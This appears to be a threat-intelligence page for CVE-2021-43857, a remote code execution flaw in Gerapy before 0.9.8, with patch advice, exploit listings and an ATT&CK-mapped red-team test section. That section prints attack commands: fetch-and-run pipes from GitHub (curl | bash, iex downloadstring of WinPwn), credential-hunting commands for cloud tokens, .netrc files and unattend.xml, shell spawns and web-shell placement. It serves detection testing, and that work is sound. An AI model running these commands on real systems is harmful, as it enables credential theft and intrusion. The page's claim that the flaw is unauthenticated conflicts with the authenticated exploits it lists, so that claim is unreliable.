CVE-2021-43857
Overview
The vulnerability in Gerapy is a command injection flaw rooted in improper input validation within its distributed crawler management framework. Specifically, the affected component fails to sanitize user-supplied inputs that are subsequently passed to system-level commands, enabling arbitrary command execution. This issue affects all versions prior to 0.9.8 and resides in the core command execution functionality of the framework.
Vulnerability Description
Gerapy is a distributed crawler management framework. Gerapy prior to version 0.9.8 is vulnerable to remote code execution, and this issue is patched in version 0.9.8.
Impact
An unauthenticated remote attacker can execute arbitrary system commands on the host running Gerapy, gaining full control over the affected environment. This leads to potential data compromise, system manipulation, or service disruption. The attack requires only network access and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, making exploitation straightforward in exposed deployments. The critical severity (CVSS 9.8) reflects the high confidentiality, integrity, and availability impact.
Solution
Users should upgrade Gerapy to version 0.9.8 or later, where the vulnerability is patched as per the official GitHub security advisory GHSA-9w7f-m4j4-j3xw. The fix involves proper input sanitization and validation in the command execution components. Refer to the vendor's advisory and commit 49bcb19be5e0320e7e1535f34fe00f16a3cf3b28 for detailed patch application instructions. No alternative mitigations or workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Gerapy distributed crawler management framework allows for remote code execution, posing a significant threat to systems utilizing this software prior to version 0.9.8. This flaw arises from improper handling of user input, which can be exploited by an attacker to execute arbitrary code on the server. Specifically, the vulnerability stems from the framework's failure to adequately validate or sanitize inputs, enabling malicious users to inject harmful scripts or commands. This lack of input validation creates a pathway for attackers to gain unauthorized access and control over the affected systems, leading to potentially severe consequences.
Attack vectors for exploiting this vulnerability are diverse, with the most straightforward being through crafted HTTP requests that include malicious payloads. An attacker could leverage social engineering tactics to trick users into interacting with compromised links or could directly target the Gerapy management interface if it is exposed to the internet. Once the malicious code is executed, the attacker can perform a range of actions, including data exfiltration, system manipulation, or even deploying additional malware. The ease of exploitation, combined with the widespread use of Gerapy in various organizations, amplifies the risk associated with this vulnerability.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on Gerapy for web crawling and data collection. Successful exploitation could lead to unauthorized access to sensitive information, disruption of services, or the compromise of other interconnected systems. The potential for data breaches could result in significant financial losses, regulatory penalties, and reputational damage. Furthermore, the operational integrity of the affected organizations may be jeopardized, leading to downtime and loss of customer trust. As organizations increasingly depend on automated systems for data management, the ramifications of such vulnerabilities become more critical.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched version of Gerapy (0.9.8 or later) to eliminate the risk of remote code execution. Regularly reviewing and updating software components is essential to maintaining a secure environment. Additionally, implementing robust input validation and sanitization practices can help prevent similar vulnerabilities from being introduced in the future. Organizations should also consider employing intrusion detection systems (IDS) to monitor for unusual activity that may indicate an attempted exploitation of this vulnerability. Conducting regular security audits and penetration testing can further bolster defenses, ensuring that any potential weaknesses are identified and addressed proactively.
In conclusion, the vulnerability present in the Gerapy framework highlights the critical importance of secure coding practices and the need for continuous vigilance in cybersecurity. As organizations increasingly rely on automated tools for data management, understanding the implications of such vulnerabilities is essential. By adopting comprehensive detection and mitigation strategies, businesses can protect themselves against the risks associated with remote code execution and safeguard their valuable data and systems from malicious actors.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-43857, rising by approximately 12%, which reflects a growing likelihood of exploitation in the near term. This upward trend is corroborated by our telemetry showing a consistent increase in exploit-related activity over the past week, although the acceleration is not yet classified as rapid. Concurrently, new proof-of-concept exploits have surfaced on public repositories, enhancing the accessibility of attack tools targeting vulnerable versions of the Gerapy framework. These developments collectively elevate the threat posture, signaling that adversaries are increasingly equipped and motivated to leverage this remote code execution vulnerability. For defenders, this escalation underscores the urgency of monitoring for exploitation attempts and reinforces the criticality of patch management. The heightened EPSS score and proliferation of exploit code indicate an elevated risk environment, warranting increased vigilance despite no immediate evidence of widespread active exploitation campaigns.
Update 2 — July 12, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2021-43857, indicating renewed or intensified attempts to exploit this remote code execution vulnerability in Gerapy versions prior to 0.9.8. Although the EPSS score remains stable with a marginal decrease, the emergence of new proof-of-concept exploits on public repositories signals increased adversary interest and capability to weaponize this flaw. Our telemetry reveals the initial appearance of exploitation attempts after a period of dormancy, suggesting that threat actors may be actively integrating these exploits into their toolsets. This development elevates the threat level by confirming that the vulnerability is not only theoretically exploitable but is now attracting practical exploitation efforts. For defenders, this underscores the necessity of heightened monitoring for anomalous activity associated with Gerapy deployments and reinforces the criticality of maintaining up-to-date patching to mitigate the growing risk.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gerapy | Gerapy | All |
cpe:2.3:a:gerapy:gerapy:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) | Jeremiasz Pluta | remote | python | - | View |
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
LongWayHomie/CVE-2021-43857
Gerapy prior to version 0.9.8 is vulnerable to remote code execution. This issue is patched in version 0.9.8.
|
LongWayHomie | 7 | 1 | 2022-01-03 | View |
|
ProwlSec/gerapy-cve-2021-43857
Proof of Concept exploit for CVE‑2021‑43857: Authenticated Remote Code Execution in Gerapy (<0.9.8). Updated and automat...
|
ProwlSec | 1 | 0 | 2025-07-29 | View |
|
lowkey0808/CVE-2021-43857
CVE-2021-43857(gerapy命令执行)
|
lowkey0808 | 1 | 0 | 2022-04-26 | View |
|
G4sp4rCS/CVE-2021-43857-POC
Optimized exploit for CVE-2021-43857 affecting Gerapy < 0.9.8
|
G4sp4rCS | 0 | 0 | 2025-04-24 | View |
|
afifudinmtop/CVE-2021-43857-Gerapy-v0.9.7
|
afifudinmtop | 0 | 0 | 2026-01-30 | View |
Threat Feed
3 eventsSighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
41%
|
High | High | |
| CAPEC-6 | Argument Injection |
40%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-43857 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Gerapy/Gerapy/issues/219 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/Gerapy/Gerapy/security/advisories/GHSA-9w7f-m4j4-j3xw |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/Gerapy/Gerapy/commit/49bcb19be5e0320e7e1535f34fe00f16a3cf3b28 |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/165459/Gerapy-0.9.7-Remote-Code-Execution.html |